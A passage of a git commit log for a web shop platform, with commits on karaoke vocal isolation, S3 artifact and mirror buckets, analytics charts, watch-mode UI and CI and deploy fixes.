the .product-meta-dates element on each navigation so Created/Updated
dates reflect the current product instead of staying stale from initial load.
 2026-03-04 12:35:13 -05:00
russell@unturf.com
49c2bdd22d bump GIT_HASH to 9c7c2fa 2026-02-28 14:27:39 -05:00
russell@unturf.com
9c7c2fae64 fix: retry rm -rf in CI build to handle runner race condition 2026-02-28 14:27:28 -05:00
russell@unturf.com
bdcb69258a bump GIT_HASH to 136a305 2026-02-28 08:08:51 -05:00
russell@unturf.com
136a3050fd fix: eliminate 173 duplicate inherited tests and harden async ring tests 
Extract _AuthenticatedBase class from AuthenticatedFunctionalTests so
TestBeacon and TestAnalytics inherit only setUp/helpers without
duplicating all parent test methods (112 + 92 → 25 + 6 tests).

Add check_same_thread=False for SQLite engines so background reforge
threads can safely use the shared connection pool.

Return thread from reforge_discovery_ring_async and replace sleep-based
waits with thread.join() for deterministic, CI-resilient assertions.
 2026-02-28 08:08:40 -05:00
russell@unturf.com
9d5d762b37 bump GIT_HASH to 0579c87 2026-02-27 16:04:33 -05:00
russell@unturf.com
0579c87c43 feat: add per-shop S3 mirror bucket for automatic upload sync 
Shop owners can configure their own S3-compatible bucket (DigitalOcean
Spaces, AWS S3, MinIO, Backblaze B2, etc.) to automatically mirror all
uploaded files. The MPS main bucket remains the origin/CDN — the shop
bucket is a fire-and-forget backup.

Sync runs in daemon threads after each copy_object, capturing credentials
as plain strings for thread safety with fresh boto3 clients per thread.
Backfill button copies all existing files via double-fork process.
 2026-02-27 16:04:23 -05:00
russell@unturf.com
d5bf831bcd docs: add artifact storage section to sandbox docs 
Document per-user S3 bucket configuration, upload flow diagram,
supported services, and updated file reference table.
 2026-02-27 12:58:16 -05:00
russell@unturf.com
d2d9554356 bump GIT_HASH to f07c37b 2026-02-27 12:57:31 -05:00
russell@unturf.com
f07c37b67a feat: add per-user S3 bucket for sandbox artifact uploads 
Users can configure their own S3-compatible bucket credentials in User
Settings > Artifact Storage. When configured, sandbox mode shows an
"Upload to Bucket" button that pushes exported artifacts (filtered images,
video captures) directly to the user's bucket via presigned POST.

Supports DigitalOcean Spaces, AWS S3, MinIO, Backblaze B2, and any
S3-compatible service. Files never touch the MPS server — two-step
presign pattern matches existing product upload architecture.
 2026-02-27 12:57:10 -05:00
russell@unturf.com
d3c6a3cdd2 bump GIT_HASH to 64a71f0 2026-02-27 11:55:06 -05:00
russell@unturf.com
64a71f0bb2 fix: set crossOrigin on images for sandbox canvas export 
CDN already serves Access-Control-Allow-Origin: * but browsers only
send the Origin header when img.crossOrigin is set. sandbox.js now
sets crossOrigin="anonymous" on all images at init and after SPA
navigation so canvas.toBlob() can read pixels for export.
 2026-02-27 11:54:52 -05:00
russell@unturf.com
9dda6ca36b docs: add sandbox mode architecture and filter reference 
Architecture diagrams, export pipeline, face detection pipeline,
filter preset reference table, CORS requirements, localStorage keys,
mobile behavior, and stacking with shop color filter.
 2026-02-27 11:43:10 -05:00
russell@unturf.com
ed108fe8f5 bump GIT_HASH to fd55a1a 2026-02-27 11:41:43 -05:00
russell@unturf.com
fd55a1a5e2 feat: add sandbox mode with creative filter toolbar 
Client-side creative filter system for MPS shops. When enabled, visitors
see a floating toolbar with 32 filter presets (basic, warm, cool, dramatic,
color shifts, Instagram-style, SVG), 7 adjustment sliders, image/video
canvas export, and on-demand MediaPipe face detection (eye glow, face mask).

All processing is browser-side. Server only stores the sandbox_mode toggle.
Filters apply to individual media elements (stacks with shop color_filter).
localStorage persists filter state. Watch mode SPA re-applies on navigation.
 2026-02-27 11:41:21 -05:00
russell@unturf.com
f0af5c564a bump GIT_HASH to 1d5b473 2026-02-26 22:32:26 -05:00
russell@unturf.com
1d5b473276 fix: add SQLite busy_timeout and fix regex escape warning 
Set PRAGMA busy_timeout=30000 on SQLite connections to prevent
"database is locked" errors under concurrent access. Fix invalid
escape sequence in email regex by using raw string.
 2026-02-26 22:32:11 -05:00
russell@unturf.com
738497ed2f bump GIT_HASH to 1c6bcbe 2026-02-26 17:28:24 -05:00
russell@unturf.com
1c6bcbe94d feat: add line charts, keyword tracking, and referrer domains to analytics 
- Add SVG line charts for session duration, engagement, and bounce rate trends (28 days)
- Track referrer_domain and referrer_query on PageSession (new migration)
- Refactor classify_referrer() to extract domain and search engine query params
- Surface internal search keywords (ShopSearchRequest) on shop analytics
- Show top referrer domains and search engine queries on both analytics pages
- Add wide bar row CSS modifier for longer domain labels
 2026-02-26 17:28:05 -05:00
russell@unturf.com
6acebd8835 bump GIT_HASH to da29e6d 2026-02-26 16:42:35 -05:00
russell@unturf.com
da29e6d3e2 feat: add permalink to product analytics page 2026-02-26 16:42:11 -05:00
russell@unturf.com
9e7b4c6896 bump GIT_HASH to 40828ca 2026-02-24 12:14:14 -05:00
russell@unturf.com
40828ca31b fix: cap ring related products to 45 and add 502 retry in watch mode 
Previously every watch JSON request and product page load called
get_ring_related_products with forward=len(ring), loading ALL products
in the shop from the DB. For large rings this caused worker memory to
spike, triggering uwsgi reload-on-rss kills and producing 502s.

Cap related items to 42 forward + 3 backward (matching the sidebar
display limit). The watch JSON endpoint now accepts a dir query param
so the client can signal travel direction — when going backward the
allocation flips to 3 forward + 42 backward.

Also adds retry with backoff (up to 2 retries, 1s/2s delay) in
fetchWatchData() for transient 502/503/504 responses during worker
recycling.
 2026-02-24 12:13:45 -05:00
russell@unturf.com
7145f2b313 fix: disable pytest-timeout — crashes xdist workers on CI 
Both signal and thread timeout methods break pytest-xdist: signal
corrupts workers, thread kills them mid-operation. The real fix was
timeout=10 on PayPal requests. Global test timeout is not needed.
 2026-02-23 15:24:00 -05:00
russell@unturf.com
97f5c8fbf4 fix: use thread timeout method for pytest-xdist compatibility 
signal-based timeouts corrupt xdist worker processes, causing mass
test failures on CI. thread method is the documented alternative
for parallel test execution.
 2026-02-23 15:08:17 -05:00
russell@unturf.com
ec32f655ed bump GIT_HASH to cdc6582 2026-02-23 14:51:43 -05:00
russell@unturf.com
cdc6582a8f fix: add timeouts to PayPal sandbox tests and pytest-timeout safety net 
PayPal sandbox tests used requests.post/get() with no timeout parameter.
When the CI runner at build.unturf.com cannot reach api-m.sandbox.paypal.com,
these calls block until TCP timeout (minutes), stalling all xdist workers
and causing the 1-hour CI timeout.

- Add timeout=10 to all requests calls in PayPal sandbox tests
- Add pytest-timeout with 60s default so no single test can hang the suite
 2026-02-23 14:51:19 -05:00
russell@unturf.com
c4926a8ab9 bump GIT_HASH to f4fc645 2026-02-23 12:50:53 -05:00
russell@unturf.com
f4fc645586 feat: expand ring to all positions so fresh mode has full inventory 
The related content list only showed 42 forward items. When fresh mode
hid watched items, most were filtered out leaving a sparse list with
huge gaps. Now all ring positions are included so fresh mode always
has plenty of unwatched items to display.

- Pass forward=len(ring) to get_ring_related_products in all callers
- Cap forward in the function to prevent backward/forward overlap
- Add loading="lazy" to thumbnails beyond offset 7 (template + JS)
- Override mobile overflow hiding in fresh mode so unwatched overflow
  items remain visible
 2026-02-23 12:50:33 -05:00
russell@unturf.com
4311a9b2b6 bump GIT_HASH to f00a43c 2026-02-21 15:57:32 -05:00
russell@unturf.com
f00a43c208 fix: replace hamburger icon with dice on random button 2026-02-21 15:57:18 -05:00
russell@unturf.com
3bd615c9bf bump GIT_HASH to 5b4d6ff 2026-02-21 14:25:11 -05:00
russell@unturf.com
5b4d6ffc13 fix: call update_s3_acls after karaoke track upload 
All three karaoke upload paths (single product upload, async backfill,
CLI backfill script) now call update_s3_acls after writing tracks to S3,
ensuring karaoke track ACLs match the product's current visibility.
 2026-02-21 14:24:59 -05:00
russell@unturf.com
01a69db9e7 docs: auto-push when new tests cover new paths and suite is green 2026-02-21 13:57:14 -05:00
russell@unturf.com
2d5a3622a3 bump GIT_HASH to a867602 2026-02-21 13:56:47 -05:00
russell@unturf.com
a8676025e4 fix: update_s3_acls now handles karaoke tracks + add tests 
update_s3_acls silently skipped instrumentals/vocals because no s3_key
resolution existed for those file keys. Added generic fallback to
construct s3_path/file_key for any unhandled key.

Added 11 tests: unit (ACL parity across visibility levels, file_keys
membership, update_s3_acls call count), integration (visibility change
propagates to karaoke ACLs), functional (watch JSON and content page
karaoke URL embedding).
 2026-02-21 13:56:33 -05:00
russell@unturf.com
f0ca717ff9 fix: restructure ring controls into 2-row grid layout 
The controls bar was overflowing — "Next ▶" wrapped vertically. Switch
from single-row grid-auto-flow to a 3-column grid so items split into
two rows: toggles (Fresh/Reverse/Autoplay) on top, action buttons
(Karaoke/Random/Next) below. Reduce gap from 16px to 6×12px.
 2026-02-21 12:35:48 -05:00
russell@unturf.com
5c9513daa2 feat: add karaoke toggle to watch mode ring controls 
Moves vocal isolation track switching from the pop-out player into the
ring header controls so users can cycle Original/Instrumentals/Vocals
while watching. Preserves playback position on track switch, resets to
Original on SPA navigation, and adds K keyboard shortcut.
 2026-02-21 11:12:02 -05:00
russell@unturf.com
68e716ca74 bump GIT_HASH to 94166be 2026-02-19 20:00:36 -05:00
russell@unturf.com
94166be988 fix: sign /upload with empty body — API skips body parsing for streams 
The upload endpoint streams the request body in chunks without buffering,
so raw_body stays empty on the server side. The HMAC must sign against an
empty body string to match. _sign_from_disk (which hashed file contents)
produced signatures the server could never verify — every upload got 401.
 2026-02-19 20:00:23 -05:00
russell@unturf.com
c3072c2a6e update GIT_HASH to 2e73c09 2026-02-19 19:18:54 -05:00
russell@unturf.com
2e73c09e63 fix: use upload path instead of inline base64 to prevent API OOM 
The inline path loaded entire base64 payloads into API memory via
Plug.Parsers, then decoded them again for UploadStore — 4 concurrent
45MB files consumed ~420MB on a 768MB droplet, pushing BEAM into swap
and timing out all RPCs.

Now uses POST /upload (streaming 64KB chunks, constant memory) then
references upload_ids in the execute call. The JSON body drops from
~60MB to ~500 bytes. Zero base64 encoding on the request side.
 2026-02-19 19:18:36 -05:00
russell@unturf.com
3fbef65b20 docs: add karaoke pipeline architecture to CLAUDE.md 
Disk-backed vocal isolation pipeline, 3.698GB upstream limit,
concurrency, retry, and caller documentation.
 2026-02-19 17:56:23 -05:00
russell@unturf.com
046fb1342d update GIT_HASH to 5736ff3 2026-02-19 14:54:57 -05:00
russell@unturf.com
5736ff3330 fix: disk-backed karaoke pipeline to prevent OOM kills 
process_karaoke held 4+ copies of every media file in memory
simultaneously (raw bytes, base64, JSON serialization). With 14-16
concurrent workers on large files, memory exploded past 3.2GB RSS.

Replace all in-memory buffers with a disk-backed pipeline:
- Stream S3 download to tmpfile instead of .read()
- Build JSON payload on disk with streaming base64 encoding
- Incremental HMAC-SHA256 signing from disk
- Stream HTTP request body from file, response to file
- Decode artifacts to tmpfiles one at a time for S3 upload

Peak request-side memory drops from ~1GB/worker to ~64KB/worker.
Function signature unchanged — all callers work without modification.
 2026-02-19 13:49:45 -05:00
russell@unturf.com
e87bb0b0c3 fix: alembic migration uses table name mps_page_session, not class name 
op.add_column takes the actual SQLite table name, not the SQLAlchemy
model class name. PageSession maps to mps_page_session via CLASS_TO_TABLE.
 2026-02-19 11:42:18 -05:00
russell@unturf.com
a0d17cbf5f trigger deploy: run pending alembic migration 2026-02-19 10:37:40 -05:00
russell@unturf.com
67e34b08ad fix: create fresh SQLite engine after fork instead of reusing dead fd 
The grandchild process closes all inherited fds (3..maxfd) to detach
from uWSGI. session_factory().get_bind() returned a session bound to
the now-dead SQLite fd. Capture the DB URL before forking, create a
fresh engine in the child.
 2026-02-19 10:20:38 -05:00
russell@unturf.com
b8955c0459 revert: remove alembic from CI deploy, fix belongs in salt states 2026-02-19 09:28:43 -05:00
russell@unturf.com
b21eb4a1e0 deploy: run alembic as uwsgi user 2026-02-19 09:27:01 -05:00
russell@unturf.com
6e5bf4ad8d deploy: run alembic migrations after highstate 2026-02-19 09:26:05 -05:00
russell@unturf.com
7e620f39f1 uncap concurrency, skip per-item validate_keys in backfill 2026-02-18 19:46:28 -05:00
russell@unturf.com
535e57896b cap backfill concurrency at 2 — 14 simultaneous large payloads crashes API 2026-02-18 19:43:16 -05:00
russell@unturf.com
696a7b853b uncap backfill concurrency — use key's actual limit 2026-02-18 19:30:46 -05:00
russell@unturf.com
e1abca4a66 throttle backfill to 1 worker, increase stderr log to 2000 chars 
4 concurrent workers was overwhelming the unsandbox API (429/502).
Cap at 1 worker for now. Also increase stderr truncation from 500
to 2000 chars to see full ffmpeg errors.
 2026-02-18 19:16:22 -05:00
russell@unturf.com
2908511a8c double-fork backfill to fully detach from uWSGI worker 
Single fork left the child in the uWSGI process group with inherited
HTTP sockets, causing 502s. Double-fork with setsid() and fd cleanup
so the grandchild is fully orphaned to init.
 2026-02-18 13:04:46 -05:00
russell@unturf.com
0ad82d5314 add backfill vocal isolation button to shop settings 2026-02-18 11:34:08 -05:00
russell@unturf.com
44e0210d5e extract audio to WAV before running voxsplit 
voxsplit only accepts WAV input — use ffmpeg to extract/convert
audio from mp4/mp3/etc before splitting vocals/instrumentals.
 2026-02-18 10:18:45 -05:00
russell@unturf.com
20172cffcb log stdout/stderr from unsandbox container on exit_code!=0 2026-02-18 10:14:01 -05:00
russell@unturf.com
707c3f44b0 refactor backfill from daemon thread to forked process 
uWSGI kills worker processes after ~60-90s ("NO MERCY!!!"), which
kills all daemon threads including the backfill. Fork a child process
that's independent of the worker — survives parent SIGKILL.

Replace threading.Lock + set guard with fcntl.flock on a lockfile
(/tmp/karaoke_backfill_{shop_id}.lock) for one-per-shop guard that
auto-releases on crash. Also add error logging for unsandbox execute
failures (was previously silent).
 2026-02-18 09:48:03 -05:00
russell@unturf.com
b022d67323 analytics: add visual charts to shop and product dashboards 
SVG bar charts for 28-day daily views, CSS horizontal bars for
traffic sources and device split, inline mini bars in top products
table. Zero-dep, server-side rendered, theme-aware, no JS.
 2026-02-18 09:14:20 -05:00
russell@unturf.com
85dffd0b24 add debug logging to backfill: bucket, key, s3_path, and work item counts 2026-02-18 08:14:48 -05:00
russell@unturf.com
8adf2fadaf analytics: exclude shop owner traffic from sales funnel metrics 
add is_owner flag to PageSession — set via data attribute when
the viewer can_edit_shop. beacon stores the flag, view_count
skips increment for owners, and all analytics queries filter
owner sessions out of funnel metrics. owner sessions are still
recorded for separate analysis. existing NULL data treated as
non-owner.
 2026-02-18 07:26:03 -05:00
russell@unturf.com
03b098ad3e validate unsandbox keys before each process and backfill 
Keys can have tiers changed or expire mid-run. Now:
- process_karaoke validates keys before downloading from S3
- backfill aborts cleanly if keys are invalid instead of defaulting to 1 worker
 2026-02-18 07:18:18 -05:00
russell@unturf.com
dd140842ca skip backfill retry when source file missing from S3 (NoSuchKey) 2026-02-18 07:13:28 -05:00
russell@unturf.com
015121b600 include voxsplit.c in package data 2026-02-18 06:52:01 -05:00
russell@unturf.com
8a0eef7b39 keep unsandbox keys on validation failure, let user fix them 2026-02-18 06:49:19 -05:00
russell@unturf.com
16314eeee5 fix backfill: use get_object/put_object instead of download_file/upload_file 
boto3 TransferManager spawns its own ThreadPoolExecutor internally,
which crashes with 'cannot schedule new futures after interpreter
shutdown' when uWSGI recycles the worker process.
 2026-02-18 06:09:57 -05:00
russell@unturf.com
a9a9ba69b1 add unsandbox key extension link in shop settings 2026-02-18 06:01:50 -05:00
russell@unturf.com
c8b9dd310a validate unsandbox keys on save, reject invalid/expired 2026-02-18 06:01:11 -05:00
russell@unturf.com
be40ab432b vendor voxsplit.c into lib/ — was pointing at local dev path 2026-02-18 00:22:54 -05:00
russell@unturf.com
f77d06a80b vendor unsandbox SDK into lib/un.py 2026-02-17 23:55:59 -05:00
russell@unturf.com
f8ce118305 fix karaoke: lazy-load unsandbox SDK to avoid import failure in CI 2026-02-17 23:51:06 -05:00
russell@unturf.com
1135eb24e4 add karaoke mode: vocal isolation via unsandbox zerotrust containers 
Per-shop unsandbox API keys in shop settings. On upload, audio/video
products are processed through voxsplit in a zerotrust container (no
network, destroyed after use) producing both instrumentals and vocals
tracks. Background backfill with ThreadPoolExecutor sized to account
concurrency, exponential backoff retries. Player cycles Original →
Instrumentals → Vocals with toggle button or K shortcut.
 2026-02-17 23:46:45 -05:00
russell@unturf.com
6e40886cd7 Fix RGB color filters: use pure CSS filter chains instead of SVG references 
Chrome blocks external SVG filter references via CSS url(). Replace with
native CSS filter functions (grayscale + sepia + hue-rotate + saturate)
that work in all browsers. Delete the now-unused SVG file.
 2026-02-15 12:25:45 -05:00
russell@unturf.com
9310360903 Fix edit page media previews: add presigned URL generation, type-aware embeds, mock S3 in test 2026-02-15 11:47:27 -05:00
russell@unturf.com
6a536f18c9 Fix RGB color filters: use external SVG file for filter definitions 
Inline SVG filter url(#id) fails when the SVG defs are inside the
filtered element (both on <html> and <body>). Data URI SVG filters
are blocked by Chrome. External SVG file at /static/svg/color-filters.svg
avoids both issues — no DOM circular reference, no security block.
Browser fetches the SVG once and caches it.
 2026-02-15 11:04:27 -05:00
russell@unturf.com
f0a5a392d0 Fix RGB color filters: apply to body, not html, with inline SVG defs 
Data URI SVG filters don't work in Chrome (blocked for security).
Inline url(#id) on <html> fails due to root-element rendering order.
Fix: keep data-color-filter attribute on <html>, apply filter to <body>
via descendant selector. SVG filter defs in <body> with <defs> wrapper
resolve correctly since DOM is parsed before CSS filter is applied.
 2026-02-15 10:49:44 -05:00
russell@unturf.com
85b1a2d033 Fix RGB color filters: use data URI SVG instead of inline DOM references 
CSS filter: url(#id) on <html> fails because the SVG filter definitions
are children of the element being filtered (circular reference). Grayscale
worked because it uses native CSS filter, not SVG. Now all feColorMatrix
filters are self-contained data URIs in CSS — no DOM SVG block needed.
 2026-02-15 09:23:14 -05:00
russell@unturf.com
25b9f53c99 Add random button to watch ring, RGB color filters, move comment email below textarea 
- Add shuffle button next to Next in SPA ring navigation
- Expand grayscale mode to full color filter system (off, grayscale, R, G, B, R+G, R+B, G+B)
  using SVG feColorMatrix filters for selective channel isolation
- Move comment email field below textarea, fix email input theming for dark mode
 2026-02-15 08:10:15 -05:00
russell@unturf.com
dfb70666b4 Add grayscale mode: CSS filter renders entire shop in black and white 
Server renders data-grayscale="on" on <html> so it works without JS.
Toggle in Ribbon & Layout settings, off by default. Original assets
untouched — purely presentational via filter: grayscale(100%).
 2026-02-15 05:25:30 -05:00
russell@unturf.com
d07195568b Fix mobile related content showing 42 items instead of 7 
The .related-content-overflow display:none rule was being overridden by
.related-content-row display:grid later in the file (equal specificity,
cascade order wins). Bump specificity with .related-content-row.related-content-overflow.
 2026-02-14 11:38:32 -05:00
russell@unturf.com
7e4b691882 Trigger salt highstate: add origin.makepostsell.com caddy site block 2026-02-13 19:42:31 -05:00
russell@unturf.com
8aad7037a3 Trigger salt highstate: refresh caddy configuration 2026-02-13 13:51:41 -05:00
russell@unturf.com
d7e98e7148 Redirect no-shop users to /s/new, improve anonymous landing page 
Authenticated users on the SaaS domain with no shop get redirected
from / to /s/new instead of seeing a bare message. Flash messages
are preserved by skipping the redirect when peek_flash() has content.

Anonymous visitors now see a proper landing with tagline and CTA.
 2026-02-13 12:10:13 -05:00
russell@unturf.com
c4d3537a28 Queue-add flash: green bg + purple glow on entire row, 5s fade 
Clicking the + button flashes the entire related-content-row with green
background, purple box-shadow glow, and white text. Animation fades out
over 5 seconds. Repeated clicks reset the animation and add duplicates
to the queue.
 2026-02-12 13:56:43 -05:00
russell@unturf.com
2ad12262df Update CLAUDE.md with Salt deploy notes, CI/CD details, mobile layout docs 2026-02-12 13:51:37 -05:00
russell@unturf.com
11056cf208 Add green flash animation on queue-add button click 
Visual feedback when adding items to the queue: the "+" button
pops to 1.3x scale with a green background, then eases back.
Reflow trick allows re-triggering on repeated clicks.
 2026-02-12 12:48:38 -05:00
russell@unturf.com
fd39b2ae80 Fix CI build: ensure bin/python symlink exists for virtualenv-clone 
Python 3.12 venv may only create bin/python3 and bin/python3.12 without
a bin/python symlink. virtualenv-clone 0.5.7 expects bin/python to exist
when introspecting the cloned venv, causing FileNotFoundError.
 2026-02-12 08:03:01 -05:00
russell@unturf.com
0967e4d6fb Fix mobile video overflow: constrain watch container to viewport width 
Product images container now uses overflow:hidden + min-width:0 to
prevent the CSS grid child from expanding beyond the viewport. Watch
video container also gets max-width:100% + min-width:0 for the same
grid overflow fix.
 2026-02-12 07:32:54 -05:00
russell@unturf.com
47fb7a5440 Add Comments link below download button on mobile 
Shows "Comments (N)" anchor link below the purchase/download well,
visible only on mobile where comments section is further down the page.
SPA navigation updates the count dynamically.
 2026-02-12 07:32:14 -05:00
russell@unturf.com
0299f85fc9 Mobile: limit related content to 7 items, add Comments anchor link 
On mobile (<800px), hide related content items beyond offset 7 to
reduce scroll. Add a "Comments (N)" link at the bottom of the related
content panel that jumps to the comments section below. Hidden on
desktop where comments are already visible in the sidebar layout.
Updated all three layers: template, watch.js SPA, and watch JSON.
 2026-02-12 07:27:26 -05:00
russell@unturf.com
1e5fe27d38 Price history on product pages, Fresh toggle, media type filters for ring 
Price history: expandable <details> section on sellable product pages,
gated to shop editors. SPA-synced via watch.py JSON + watch.js rebuild.
Ticket 09 for future membership-gated access.

Fresh toggle: hides already-watched ring items (display:none vs dimmed),
persisted in localStorage, so loopers see only unwatched content.

Media type filters: Video/Audio/Image/Docs/Other pill buttons below
ring controls. Toggle off a type to hide those rows from the ring.
All on by default, persisted in localStorage. Server-rendered via
Jinja macro + data-media-type attribute, JS-synced during SPA nav.
 2026-02-11 19:22:44 -05:00
russell@unturf.com
13aeab7188 Retry deploy: added reload_on_rss to caddy_sites.sls 2026-02-11 18:49:29 -05:00
russell@unturf.com
69ee077cb4 Retry deploy: confirmed salt fileserver has reload_on_rss 2026-02-11 18:22:50 -05:00
russell@unturf.com
f4661ad6b8 Retry deploy after salt fileserver update 2026-02-11 17:49:29 -05:00
russell@unturf.com
7c79304fcb Retry deploy: salt master now has reload_on_rss in sites.sls 2026-02-11 15:45:18 -05:00
russell@unturf.com
d9a565b57a Add tickets MPS-4 and MPS-5 for 502 worker recycling fix 
MPS-4: Eliminate intermittent 502s via uwsgi config tuning
MPS-5: Investigate root cause of worker memory growth (~40MB/min)
 2026-02-11 10:13:52 -05:00
russell@unturf.com
faefd94abf Video watch metrics, per-product analytics page, SPA thumbnail sync 
Analytics:
- Add video watch metrics section to shop dashboard (avg % played,
  completion rate, seeks, rewinds, pauses, speed) with per-product
  video breakdown table
- Add per-product analytics detail page at /s/{shop_id}/analytics/{product_id}
  with views over time, video watch, traffic, devices, ring entries,
  engagement, comment sentiment, and price history
- Product title links on shop analytics now go to per-product analytics
- Add get_sentiment_summary_for_product() helper

SPA fix:
- Update thumbnail image src and wrapping link href during DJ fade
- Clear stale extra thumbnails from previous product
- Add file_url to watch JSON for thumbnail-to-file links
 2026-02-11 09:03:29 -05:00
russell@unturf.com
2f5498a1f4 deleted: docs/tickets/an-algo/01-engagement-signal-weighting.md 
deleted:    docs/tickets/an-algo/02-truth-fidelity-score.md
	deleted:    docs/tickets/an-algo/05-love-chains-referrals.md
	deleted:    docs/tickets/an-algo/06-love-letters-messaging.md
	deleted:    docs/tickets/an-algo/08-pillars-score-dashboard.md
	modified:   make_post_sell/GIT_HASH
 2026-02-10 16:53:31 -05:00
russell@unturf.com
7401b4a3c3 Fix 502s from anonymous visitors: guard request.user.can_edit_shop with null check 
Bot crawlers (AhrefsBot, SemrushBot) hitting content pages caused
jinja2.UndefinedError: 'None' has no attribute 'can_edit_shop' because
request.user is None for unauthenticated visitors.
 2026-02-10 08:54:51 -05:00
russell@unturf.com
a950304a49 Epic DJ transitions: fade video/audio to black before static, smooth 20fps countdown fade on all content types 
Video/audio → static/cross-type now fades volume + opacity over 7 seconds
instead of abrupt cut. Static content (images, PDFs) fades out smoothly
during the 7-second countdown. All transitions cancelable, no abrupt stops.
 2026-02-10 07:37:41 -05:00
russell@unturf.com
2c4237f136 Fix cutoffs test for dict return value 2026-02-09 19:02:01 -05:00
russell@unturf.com
ed9c2a6a08 Show ring consumed across 5 time periods: today, 7d, 28d, year, lifetime 2026-02-09 18:22:28 -05:00
russell@unturf.com
f2e88989a2 Fix ring consumed to count unique products viewed, not average position index 2026-02-09 18:20:07 -05:00
russell@unturf.com
6c71af4017 Change avg ring depth to avg ring consumed percentage 2026-02-09 17:58:07 -05:00
russell@unturf.com
fb04cf0159 Show top 42 ring entry points instead of 7 2026-02-09 17:47:30 -05:00
russell@unturf.com
fca2f4a051 Isolate parallel test runs with PID-based database filenames 
When two processes run pytest simultaneously, they no longer share
test_make_post_sell_master.sqlite. Each gets its own file keyed by PID,
preventing table-exists and readonly-database errors. Also clean up
WAL/SHM journal files on exit.
 2026-02-09 16:24:25 -05:00
russell@unturf.com
e1a8b2f236 Yield GIL in discovery ring computation to unblock uwsgi during reforge 
The O(n²) greedy walk held the GIL for the entire computation, starving
uwsgi workers on the 2 vCPU box. time.sleep(0) in the inner loop
releases the GIL each iteration so request handling can interleave.
 2026-02-09 15:24:15 -05:00
russell@unturf.com
3e6786155a Anonymous signal gathering with view counts (MPS-2) 
One beacon per page visit sent on unload (~300 bytes JSON). No cookies,
no IPs, no fingerprints. A view counts after 7 seconds of visible time.
Creators see view counts on product pages; raw data feeds future analytics.

New: PageSession model, /signals/beacon endpoint, signals.js client
collector, product view_count column with human_view_count property,
Alembic migration, SPA integration, 30 new tests (667 total, all pass).
 2026-02-09 15:01:36 -05:00
russell@unturf.com
dac8cc9280 Add unit, integration, and functional tests for async ring reforge 
Unit (6 tests): thread spawning, dirty bit behavior, debounce
collapse, session.expire_all on re-run, exception cleanup, missing
shop handling.

Integration (3 tests): ring persisted to DB, dirty bit picks up
latest state, private/unlisted products excluded.

Functional (5 tests): edit doesn't block, product page uses existing
ring, watch JSON never reforges, new product triggers async reforge,
no trigger when watch mode off.
 2026-02-09 14:08:11 -05:00
russell@unturf.com
bda4d39858 Use dirty bit instead of drop for async ring reforge debounce 
When a reforge is already running, set a dirty flag so the thread
loops once more after finishing — picks up latest product state
from rapid saves without queueing multiple reforges.
 2026-02-09 13:55:00 -05:00
russell@unturf.com
3ba8802d9a Fix SQLAlchemy deprecation in async reforge, add playback progress restore, add signal gathering tickets 2026-02-09 13:52:34 -05:00
russell@unturf.com
7b7a2d1edb Async ring reforge, update og:image during SPA navigation, remove inline reforge 
Ring reforge now runs in a background thread to avoid blocking requests.
Product/content views no longer reforge inline — they use the existing ring
or fall back to related products. og:image meta tag updated during SPA
navigation so the now-playing row shows the correct thumbnail.
 2026-02-09 13:45:42 -05:00
russell@unturf.com
6eb4b3ca95 Refresh presigned media URL every 7 minutes to prevent TTL expiry 
Long videos (>15 min) would die mid-playback when the 15-minute presigned
URL expired. Now a timer fetches a fresh URL from the watch JSON endpoint
every 7 minutes, swaps the src, and seeks back to the saved position.
Timer resets on every product transition.
 2026-02-09 13:27:22 -05:00
russell@unturf.com
204bca813d Skip DJ crossfade for short clips, hard-cut to next on ended 
Videos shorter than 7 seconds would trigger DJ crossfade immediately on
first timeupdate, fading out before they even played. Now short clips
play fully and transition instantly to the next preloaded item.
 2026-02-09 13:04:16 -05:00
russell@unturf.com
c5c0cb1b00 Ensure sticky video stays on screen for entire page scroll in watch mode 
Desktop: override align-items to stretch on watch-mode grid so watch-left
fills the full row height, giving the sticky video room to stick as long
as any content is visible in either column.
 2026-02-09 13:04:10 -05:00
russell@unturf.com
df1cd64851 Make /random redirect to any public product or content page 
Removed media-only filter and popout_player_enabled gate. Now picks
from all public items and redirects to the correct /p/ or /c/ URL.
 2026-02-09 12:54:03 -05:00
russell@unturf.com
a3725e8070 Add container fullscreen for crossfade, mobile watch layout fix, sitemap link on subscribe page 
Promote video fullscreen to .watch-video-container so DJ crossfade
transitions remain seamless. Use display:contents on mobile watch-left
so sticky video sticks properly. Add z-index layering for desktop
watch mode scrolling. Add sitemap.xml link to subscribe page feeds.
 2026-02-09 12:36:29 -05:00
russell@unturf.com
86a05a8b88 Fix sticky video z-index so comments and ring buttons scroll under it 
Desktop: added position:relative + z-index:5 to description and comments
in watch mode so they stack below the sticky video (z-index 10).

Mobile: changed watch-left to display:contents so sticky video sticks
against the full grid container instead of just the watch-left box.
Previously product-right (ring/download) was outside watch-left, ending
the sticky context and pushing the video offscreen.
 2026-02-09 12:36:21 -05:00
russell@unturf.com
98202683d6 Fix subscribe page always highlighting None instead of user's actual frequency 
The view returned empty context on GET, so the template hardcoded checked
on the None radio. Now the view looks up the logged-in user's existing
subscription and passes current_frequency to the template, which sets
checked on the correct radio button dynamically.
 2026-02-09 11:54:51 -05:00
russell@unturf.com
433f4e25ce Show 42 forward items in ring sidebar instead of 21 2026-02-09 11:54:20 -05:00
russell@unturf.com
f780f0dab6 Redesign ring header into structured 2-row grid, show full now-playing title and thumbnail 
Ring header restructured from flat 1fr/auto grid into two semantic rows:
- Info row: title + badges left, progress counter right
- Controls row: Reverse and Autoplay toggles right-aligned

Now-playing row shows full title (no line-clamp truncation) and product
thumbnail. JS reads og:image meta tag for current thumbnail during SPA
navigation. SPA updates for edit button, download button, file info,
comments, and canonical link. Footer and docs updates.
 2026-02-09 11:46:54 -05:00
russell@unturf.com
3ade78d512 Fix ring double-advance defect in DJ crossfade, use defect not bug in CLAUDE.md 
completeDjCrossfade was advancing ringPosition after syncRingPosition
already set it correctly at the halfway mark, causing autoplay to skip
one song ahead of what the sidebar displayed. Removed the redundant
advance — syncRingPosition handles positioning via updatePageContent.
 2026-02-09 11:31:46 -05:00
russell@unturf.com
7f8a5e631a Show 3 previous + current (highlighted) + 21 next items in ring sidebar 
Ring sidebar now displays a window around the current position: 3 items
behind (dimmed), the current item highlighted in blue with a play marker,
and 21 items ahead. Each item shows its signed ring offset (-3 to +21).

get_ring_related_products returns dicts with product and offset. Views
pass offset through to JS. Server-rendered template handles both formats.
 2026-02-09 11:02:16 -05:00
russell@unturf.com
98efbfe566 Track ring loop completions with +N badge and show mod badge for shop owners 
When a viewer watches every item in the ring, the loop counter increments,
